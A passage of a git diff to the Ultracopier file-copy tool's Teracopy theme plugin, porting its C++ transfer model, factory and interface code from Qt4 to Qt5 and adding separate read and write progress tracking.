- haveSearchItem=true;
- searchId=transfertItemList.at(currentIndexSearch).id;
- return currentIndexSearch;
- }
- if(currentIndexSearch==0)
- currentIndexSearch=loop_size-1;
- else
- currentIndexSearch--;
- index_for_loop++;
- }
- haveSearchItem=false;
- return -1;
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
+ return -1;
}
-void TransferModel::setFileProgression(QList<ProgressionItem> &progressionList)
+void TransferModel::setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList)
{
- loop_size=progressionList.size();
- index_for_loop=0;
- while(index_for_loop<loop_size)
- {
- if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
- {
- internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
- internalRunningOperation[progressionList.at(index_for_loop).id].currentProgression=progressionList.at(index_for_loop).current;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- progressionList.removeAt(index_for_loop);
- #endif
- }
- index_for_loop++;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(progressionList.size()>0)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"progression remaning items");
- #endif
+ loop_size=progressionList.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
+ {
+ internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentReadProgression=progressionList.at(index_for_loop).currentRead;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentWriteProgression=progressionList.at(index_for_loop).currentWrite;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ progressionList.removeAt(index_for_loop);
+ index_for_loop--;
+ loop_size--;
+ #endif
+ }
+ index_for_loop++;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(progressionList.size()>0)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"progression remaning items");
+ #endif
}
TransferModel::currentTransfertItem TransferModel::getCurrentTransfertItem()
{
- currentTransfertItem returnItem;
- returnItem.haveItem=startId.size()>0;
- if(returnItem.haveItem)
- {
- if(!internalRunningOperation.contains(*startId.constBegin()))
- {
- returnItem.haveItem=false;
- return returnItem;
- }
- const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*startId.constBegin()];
- returnItem.from=itemTransfer.generalData.sourceFullPath;
- returnItem.to=itemTransfer.generalData.destinationFullPath;
- returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
- switch(itemTransfer.actionType)
- {
- case CustomOperation:
- if(!itemTransfer.custom_with_progression)
- returnItem.progressBar_file=-1;
- else
- {
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=-1;
- }
- break;
- case Transfer:
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- break;
- //should never pass here
- case PostOperation:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- returnItem.progressBar_file=65535;
- break;
- //should never pass here
- case PreOperation:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- returnItem.progressBar_file=0;
- break;
- default:
- returnItem.progressBar_file=0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- break;
- }
- }
-/* else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("No have running item"));*/
- return returnItem;
+ currentTransfertItem returnItem;
+ returnItem.progressBar_read=-1;
+ returnItem.progressBar_write=0;
+ returnItem.haveItem=startId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*startId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*startId.constBegin()];
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ //should never pass here
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ else
+ {
+ returnItem.haveItem=stopId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*stopId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*stopId.constBegin()];
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ }
+ if(returnItem.haveItem && returnItem.progressBar_read!=-1 && returnItem.progressBar_write>returnItem.progressBar_read)
+ {
+ int tempVar=returnItem.progressBar_write;
+ returnItem.progressBar_write=returnItem.progressBar_read;
+ returnItem.progressBar_read=tempVar;
+ }
+ return returnItem;
}
diff --git a/plugins-alternative/Themes/Teracopy/TransferModel.h b/plugins-alternative/Themes/Teracopy/TransferModel.h
index 486532e..977c986 100644
--- a/plugins-alternative/Themes/Teracopy/TransferModel.h
+++ b/plugins-alternative/Themes/Teracopy/TransferModel.h
@@ -17,76 +17,76 @@
/// \brief model to store the transfer list
class TransferModel : public QAbstractTableModel
{
- Q_OBJECT
+ Q_OBJECT
public:
- /// \brief the transfer item displayed
- struct transfertItem
- {
- quint64 id;
- QString source;
- QString size;
- QString destination;
- };
- /// \brief the transfer item with progression
- struct ItemOfCopyListWithMoreInformations
- {
- quint64 currentProgression;
- ItemOfCopyList generalData;
- ActionTypeCopyList actionType;
- bool custom_with_progression;
- };
- /// \brief returned first transfer item
- struct currentTransfertItem
- {
- quint64 id;
- bool haveItem;
- QString from;
- QString to;
- QString current_file;
- int progressBar_file;
- };
+ /// \brief the transfer item displayed
+ struct transfertItem
+ {
+ quint64 id;
+ QString source;
+ QString size;
+ QString destination;
+ };
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentReadProgression,currentWriteProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_read,progressBar_write;
+ };
- TransferModel();
+ TransferModel();
- virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
- virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
- virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
- virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
- virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
-
- QList<quint64> synchronizeItems(const QList<returnActionOnCopyList>& returnActions);
- void setFacilityEngine(FacilityInterface * facilityEngine);
+ virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
+ virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
+ virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
- int search(const QString &text,bool searchNext);
- int searchPrev(const QString &text);
+ QList<quint64> synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
+ void setFacilityEngine(FacilityInterface * facilityEngine);
- void setFileProgression(QList<ProgressionItem> &progressionList);
+ int search(const QString &text,bool searchNext);
+ int searchPrev(const QString &text);
- currentTransfertItem getCurrentTransfertItem();
+ void setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList);
- quint64 firstId();
+ currentTransfertItem getCurrentTransfertItem();
+
+ quint64 firstId();
protected:
- QList<transfertItem> transfertItemList;///< To have a transfer list for the user
- QList<transfertItem> transfertItemListDone;///< To have a transfer list for the user
- QSet<quint64> startId,stopId;///< To show what is started, what is stopped
- QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
- QIcon iconStart,iconPause,iconStop;
+ QList<transfertItem> transfertItemList;///< To have a transfer list for the user
+ QList<transfertItem> transfertItemListDone;///< To have a transfer list for the user
+ QSet<quint64> startId,stopId;///< To show what is started, what is stopped
+ QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
+ QIcon iconStart,iconPause,iconStop;
private:
- int loop_size,index_for_loop;
- int sub_loop_size,sub_index_for_loop;
- int row,column;
- quint64 totalFile,totalSize,currentFile;
- FacilityInterface * facilityEngine;
- QString search_text;
- /// \brief index from start the search, decresed by remove before it
- int currentIndexSearch;
- bool haveSearchItem;
- quint64 searchId;
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ int row,column;
+ quint64 totalFile,totalSize,currentFile;
+ FacilityInterface * facilityEngine;
+ QString search_text;
+ /// \brief index from start the search, decresed by remove before it
+ int currentIndexSearch;
+ bool haveSearchItem;
+ quint64 searchId;
signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
+ #endif
};
#endif // TRANSFERMODEL_H
diff --git a/plugins-alternative/Themes/Teracopy/Variable.h b/plugins-alternative/Themes/Teracopy/Variable.h
index 8179c93..963d0c8 100644
--- a/plugins-alternative/Themes/Teracopy/Variable.h
+++ b/plugins-alternative/Themes/Teracopy/Variable.h
@@ -1,8 +1,7 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
diff --git a/plugins-alternative/Themes/Teracopy/documentation.dox b/plugins-alternative/Themes/Teracopy/documentation.dox
index a61692b..c1720d2 100755..100644
--- a/plugins-alternative/Themes/Teracopy/documentation.dox
+++ b/plugins-alternative/Themes/Teracopy/documentation.dox
@@ -11,12 +11,12 @@
\section mainpage_overview Overview
It's Teracopy interface, to come from Teracopy to Ultracopier.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project as alternative plugin.
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier project as alternative plugin.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins-alternative/Themes/Teracopy/factory.cpp b/plugins-alternative/Themes/Teracopy/factory.cpp
index 89c3787..2b176bf 100644
--- a/plugins-alternative/Themes/Teracopy/factory.cpp
+++ b/plugins-alternative/Themes/Teracopy/factory.cpp
@@ -1,83 +1,70 @@
/** \file factory.cpp
\brief Define the factory core
\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
+*/
#include "factory.h"
-PluginInterface_Themes * Factory::getInstance()
+PluginInterface_Themes * ThemesFactory::getInstance()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- PluginInterface_Themes * newInterface=new InterfacePlugin(facilityEngine);
- connect(newInterface,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- connect(this,SIGNAL(reloadLanguage()),newInterface,SLOT(newLanguageLoaded()));
- return newInterface;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ Themes * newInterface=new Themes(facilityEngine);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(newInterface,&Themes::debugInformation,this,&PluginInterface_ThemesFactory::debugInformation);
+ #endif
+ connect(this,&ThemesFactory::reloadLanguage,newInterface,&Themes::newLanguageLoaded);
+ return newInterface;
}
-void Factory::setResources(OptionInterface *,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion)
+void ThemesFactory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion)
{
- this->facilityEngine=facilityEngine;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath: "+pluginPath);
- Q_UNUSED(portableVersion);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ this->facilityEngine=facilityInterface;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath: "+pluginPath);
+ Q_UNUSED(portableVersion);
+ Q_UNUSED(options);
}
-QWidget * Factory::options()
+QWidget * ThemesFactory::options()
{
- return NULL;
+ return NULL;
}
-void Factory::resetOptions()
+void ThemesFactory::resetOptions()
{
}
-QIcon Factory::getIcon(const QString &fileName)
+QIcon ThemesFactory::getIcon(const QString &fileName) const
{
- if(fileName=="SystemTrayIcon/exit.png")
- {
- QIcon tempIcon=QIcon::fromTheme("application-exit");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/add.png")
- {
- QIcon tempIcon=QIcon::fromTheme("list-add");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/informations.png")
- {
- QIcon tempIcon=QIcon::fromTheme("help-about");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/options.png")
- {
- QIcon tempIcon=QIcon::fromTheme("applications-system");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- return QIcon(":/resources/"+fileName);
+ if(fileName=="SystemTrayIcon/exit.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("application-exit");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/add.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("list-add");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/informations.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("help-about");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/options.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("applications-system");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ return QIcon(":/Themes/Teracopy/resources/"+fileName);
}
-void Factory::newLanguageLoaded()
+void ThemesFactory::newLanguageLoaded()
{
- emit reloadLanguage();
+ emit reloadLanguage();
}
-
-Q_EXPORT_PLUGIN2(interface, Factory);
-
diff --git a/plugins-alternative/Themes/Teracopy/factory.h b/plugins-alternative/Themes/Teracopy/factory.h
index babac47..0b3bb3f 100644
--- a/plugins-alternative/Themes/Teracopy/factory.h
+++ b/plugins-alternative/Themes/Teracopy/factory.h
@@ -1,8 +1,7 @@
/** \file factory.h
\brief Define the factory
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef FACTORY_H
#define FACTORY_H
@@ -17,30 +16,27 @@
#include "Environment.h"
/// \brief Define the factory, to create instance of the interface
-class Factory : public PluginInterface_ThemesFactory
+class ThemesFactory : public PluginInterface_ThemesFactory
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_ThemesFactory)
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_ThemesFactory)
public:
- /// \brief to return the instance of the copy engine
- PluginInterface_Themes * getInstance();
- /// \brief set the resources, to store options, to have facilityInterface
- void setResources(OptionInterface * optionsEngine,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion);
- /// \brief to get the default options widget
- QWidget * options();
- /// \brief to get a resource icon
- QIcon getIcon(const QString &fileName);
+ /// \brief to return the instance of the copy engine
+ PluginInterface_Themes * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion);
+ /// \brief to get the default options widget
+ QWidget * options();
+ /// \brief to get a resource icon
+ QIcon getIcon(const QString &fileName) const;
public slots:
- void resetOptions();
- void newLanguageLoaded();
+ void resetOptions();
+ void newLanguageLoaded();
signals:
- void reloadLanguage();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
+ void reloadLanguage();
private:
- FacilityInterface * facilityEngine;
+ FacilityInterface * facilityEngine;
};
#endif // FACTORY_H
diff --git a/plugins-alternative/Themes/Teracopy/informations.xml b/plugins-alternative/Themes/Teracopy/informations.xml
index 5fd194d..534db9a 100644
--- a/plugins-alternative/Themes/Teracopy/informations.xml
+++ b/plugins-alternative/Themes/Teracopy/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Teracopy style for Ultracopier, reproduct with screenshot on internet]]></description>
<description xml:lang="fr"><![CDATA[Style Teracopy pour Ultracopier, reproduit avec les screenshots vu sur internet]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>Teracopy</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins-alternative/Themes/Teracopy/interface.cpp b/plugins-alternative/Themes/Teracopy/interface.cpp
index a7014dd..64220d0 100644
--- a/plugins-alternative/Themes/Teracopy/interface.cpp
+++ b/plugins-alternative/Themes/Teracopy/interface.cpp
@@ -1,376 +1,431 @@
/** \file interface.cpp
\brief Define the interface core
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+*/
-#include <QtCore>
#include <QMessageBox>
+#include <cmath>
#include "interface.h"
#include "ui_interface.h"
-InterfacePlugin::InterfacePlugin(FacilityInterface * facilityEngine) :
- ui(new Ui::interfaceCopy())
+// The cmath header from MSVC does not contain round()
+#if (defined(_WIN64) || defined(_WIN32)) && defined(_MSC_VER)
+inline double round(double d) {
+ return floor( d + 0.5 );
+}
+#endif
+
+Themes::Themes(FacilityInterface * facilityEngine) :
+ ui(new Ui::interfaceCopy())
{
- this->facilityEngine=facilityEngine;
- ui->setupUi(this);
- ui->TransferList->setModel(&transferModel);
- transferModel.setFacilityEngine(facilityEngine);
+ this->facilityEngine=facilityEngine;
+ ui->setupUi(this);
+ transferModel.setFacilityEngine(facilityEngine);
+ ui->TransferList->setModel(&transferModel);
+
+ currentFile = 0;
+ totalFile = 0;
+ currentSize = 0;
+ totalSize = 0;
+ storeIsInPause = false;
+ modeIsForced = false;
+ haveStarted = false;
+ speedString = facilityEngine->speedToString(0);
+ ui->toolButtonMenu->setMenu(&menu);
- currentFile = 0;
- totalFile = 0;
- currentSize = 0;
- totalSize = 0;
- this->show();
- storeIsInPause = false;
- isInPause(false);
- modeIsForced = false;
- haveStarted = false;
- speedString = facilityEngine->speedToString(0);
- ui->toolButtonMenu->setMenu(&menu);
-
- connect(ui->actionAddFile,SIGNAL(triggered()),this,SLOT(forcedModeAddFile()));
- connect(ui->actionAddFileToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToCopy()));
- connect(ui->actionAddFileToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToMove()));
- connect(ui->actionAddFolderToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToCopy()));
- connect(ui->actionAddFolderToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToMove()));
- connect(ui->actionAddFolder,SIGNAL(triggered()),this,SLOT(forcedModeAddFolder()));
+ connect(ui->actionAddFile,&QAction::triggered,this,&Themes::forcedModeAddFile);
+ connect(ui->actionAddFileToCopy,&QAction::triggered,this,&Themes::forcedModeAddFileToCopy);
+ connect(ui->actionAddFileToMove,&QAction::triggered,this,&Themes::forcedModeAddFileToMove);
+ connect(ui->actionAddFolderToCopy,&QAction::triggered,this,&Themes::forcedModeAddFolderToCopy);
+ connect(ui->actionAddFolderToMove,&QAction::triggered,this,&Themes::forcedModeAddFolderToMove);
+ connect(ui->actionAddFolder,&QAction::triggered,this,&Themes::forcedModeAddFolder);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&transferModel,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&transferModel,&TransferModel::debugInformation,this,&Themes::debugInformation);
+ #endif
+
+ progressColorWrite=QApplication::palette().color(QPalette::Highlight);
+ progressColorRead=QApplication::palette().color(QPalette::AlternateBase);
+ progressColorRemaining=QApplication::palette().color(QPalette::Base);
+
+ ui->progressBar_all->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ show();
+ isInPause(false);
}
-InterfacePlugin::~InterfacePlugin()
+Themes::~Themes()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
}
-QWidget * InterfacePlugin::getOptionsEngineWidget()
+QWidget * Themes::getOptionsEngineWidget()
{
- return &optionEngineWidget;
+ return &optionEngineWidget;
}
-void InterfacePlugin::getOptionsEngineEnabled(bool isEnabled)
+void Themes::getOptionsEngineEnabled(const bool &isEnabled)
{
- Q_UNUSED(isEnabled);
+ Q_UNUSED(isEnabled);
}
/// \brief set if transfer list is exportable/importable
-void InterfacePlugin::setTransferListOperation(TransferListOperation transferListOperation)
+void Themes::setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation)
+{
+ Q_UNUSED(transferListOperation);
+}
+
+void Themes::closeEvent(QCloseEvent *event)
+{
+ event->ignore();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ this->hide();
+ emit cancel();
+}
+
+void Themes::updateOverallInformation()
{
- Q_UNUSED(transferListOperation);
+ ui->overall->setText(tr("Total: %1 of %2").arg(facilityEngine->sizeToString(currentSize)).arg(facilityEngine->sizeToString(totalSize)));
+ ui->labelNumberFile->setText(tr("%1 of %2").arg(currentFile).arg(totalFile));
}
-void InterfacePlugin::closeEvent(QCloseEvent *event)
+void Themes::actionInProgess(const Ultracopier::EngineActionInProgress &action)
{
- event->ignore();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->hide();
- emit cancel();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"start: "+QString::number(action));
+ this->action=action;
+ ui->pauseButton->setEnabled(action!=Ultracopier::Idle);
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->progressBar_all->setMaximum(65535);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Listing:
+ ui->progressBar_all->setMaximum(0);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Idle:
+ if(haveStarted)
+ emit cancel();
+ break;
